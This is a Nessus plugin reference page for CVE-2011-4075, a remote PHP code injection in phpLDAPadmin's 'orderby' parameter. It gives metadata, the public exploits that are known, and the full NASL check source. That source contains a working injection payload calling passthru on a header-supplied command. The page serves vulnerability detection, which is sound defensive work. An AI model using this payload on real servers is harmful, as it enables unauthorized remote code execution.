phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution - Nessus

High   Plugin ID: 56703

This page contains detailed information about the phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview

ID: 56703
Name: phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution
Filename: phpldapadmin_orderby_cmd_exec.nasl
Vulnerability Published: 2011-10-23
This Plugin Published: 2011-11-03
Last Modification Time: 2022-04-11
Plugin Version: 1.19
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, phpldapadmin_detect.nasl
Required KB Items [?]: www/PHP, www/phpLDAPadmin
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: 2011-10-23
Patch Published: 2011-10-05
CVE [?]: CVE-2011-4075
CPE [?]: cpe:/a:deon_george:phpldapadmin

Synopsis

The remote web server hosts a PHP application that can be abused to execute arbitrary PHP code.

Description

The version of phpLDAPadmin installed on the remote host does not sanitize input to the 'orderby' parameter of the 'cmd.php' script when 'cmd' is set to 'query_engine' before using it in a call to 'create_function()'.

An unauthenticated, remote attacker can leverage this issue to execute arbitrary PHP code on the affected host, subject to the privileges under which the web server runs.

Solution

Apply the patch to 'lib/functions.php' in the project's GIT repository.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution vulnerability:

  1. Metasploit: exploit/multi/http/phpldapadmin_query_engine
    [phpLDAPadmin query_engine Remote PHP Code Injection]
  2. Exploit-DB: exploits/php/webapps/18021.php
    [EDB-18021: phpLDAPadmin 1.2.1.1 - Remote PHP Code Injection (1)]
  3. Exploit-DB: exploits/php/webapps/18031.rb
    [EDB-18031: phpLDAPadmin 1.2.1.1 - Remote PHP Code Injection (Metasploit) (2)]
  4. D2 Elliot: phpldapadmin_1.2.1.1_rce.html
    [phpLDAPadmin 1.2.1.1 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

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Plugin Source

This is the phpldapadmin_orderby_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(56703);
  script_version("1.19");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2011-4075");
  script_bugtraq_id(50331);
  script_xref(name:"EDB-ID", value:"18021");
  script_xref(name:"EDB-ID", value:"18031");

  script_name(english:"phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP application that can be abused to
execute arbitrary PHP code.");
  script_set_attribute(attribute:"description", value:
"The version of phpLDAPadmin installed on the remote host does not
sanitize input to the 'orderby' parameter of the 'cmd.php' script when
'cmd' is set to 'query_engine' before using it in a call to
'create_function()'.

An unauthenticated, remote attacker can leverage this issue to execute
arbitrary PHP code on the affected host, subject to the privileges
under which the web server runs.");
  script_set_attribute(attribute:"see_also", value:"http://sourceforge.net/support/tracker.php?aid=3417184");
  # http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?4d5eab60");
  script_set_attribute(attribute:"solution", value:
"Apply the patch to 'lib/functions.php' in the project's GIT
repository.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"phpLDAPadmin 1.2.1.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpLDAPadmin query_engine Remote PHP Code Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/10/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/10/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/11/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:deon_george:phpldapadmin");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpldapadmin_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/PHP", "www/phpLDAPadmin");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE, embedded:FALSE);


install = get_install_from_kb(appname:"phpLDAPadmin", port:port, exit_on_fail:TRUE);
dir = install['dir'];


# Try to exploit the issue to run a command.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig'] = "Subnet Mask";

semaphore = '_' + SCRIPT_NAME - '.nasl' + '_';

# We need a cookie for the exploits to work.
init_cookiejar();

url = dir + '/';
res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);

foreach cmd (cmds)
{
  payload = 'nessus));}}' +
    'error_reporting(0);' +
    'print(' + semaphore + ');' +
    'passthru(base64_decode($_SERVER[HTTP_CMD]));' +
    'die;/*';

  url = dir + '/cmd.php?' +
    'cmd=query_engine&' +
    'query=none&' +
    'search=1&' +
    'orderby=' + urlencode(str:payload, unreserved:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!~*'()-]/=;<>$[]");

  res = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : url,
    add_headers  : make_array("Cmd", base64(str:cmd)),
    exit_on_fail : TRUE
  );

  if (
    semaphore >< res[2] &&
    egrep(pattern:cmd_pats[cmd], string:res[2])
  )
  {
    if (report_verbosity > 0)
    {
      output = strstr(res[2], semaphore) - semaphore;
      if (!egrep(pattern:cmd_pats[cmd], string:output)) output = "";

      report =
        '\nNessus was able to verify the issue exists using the following request :' +
        '\n' +
        '\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) +
        '\n' + http_last_sent_request() +
        '\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) + '\n';

      if (report_verbosity > 1)
      {
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) +
          '\n' + data_protection::sanitize_uid(output:chomp(output)) +
          '\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
      }

      report +=
        '\n' + 'Note that the Cookie header in the request above uses a value' +
        '\n' + 'returned after visiting the application\'s initial page. The value' +
        '\n' + 'reported above may have expired and need to be updated in order to' +
        '\n' + 'validate the finding.';

      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}
exit(0, "The phpLDAPadmin install at "+build_url(port:port, qs:dir+'/')+" is not affected.");

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/phpldapadmin_orderby_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\phpldapadmin_orderby_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/phpldapadmin_orderby_cmd_exec.nasl

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How to Run

Here is how to run the phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select phpLDAPadmin orderby Parameter Arbitrary PHP Code Execution plugin ID 56703.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phpldapadmin_orderby_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phpldapadmin_orderby_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phpldapadmin_orderby_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phpldapadmin_orderby_cmd_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 56672 - Debian DSA-2333-1 : phpldapadmin - several vulnerabilities
  • 56934 - Fedora 16 : phpldapadmin-1.2.1.1-2.20111006git.fc16 (2011-14924)
  • 56935 - Fedora 14 : phpldapadmin-1.2.1.1-2.20111006git.fc14 (2011-14986)
  • 56936 - Fedora 15 : phpldapadmin-1.2.1.1-2.20111006git.fc15 (2011-14993)
  • 43402 - phpLDAPadmin cmd.php cmd Parameter Local File Inclusion

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phpldapadmin_orderby_cmd_exec.nasl version 1.19. For more plugins, visit the Nessus Plugin Library.

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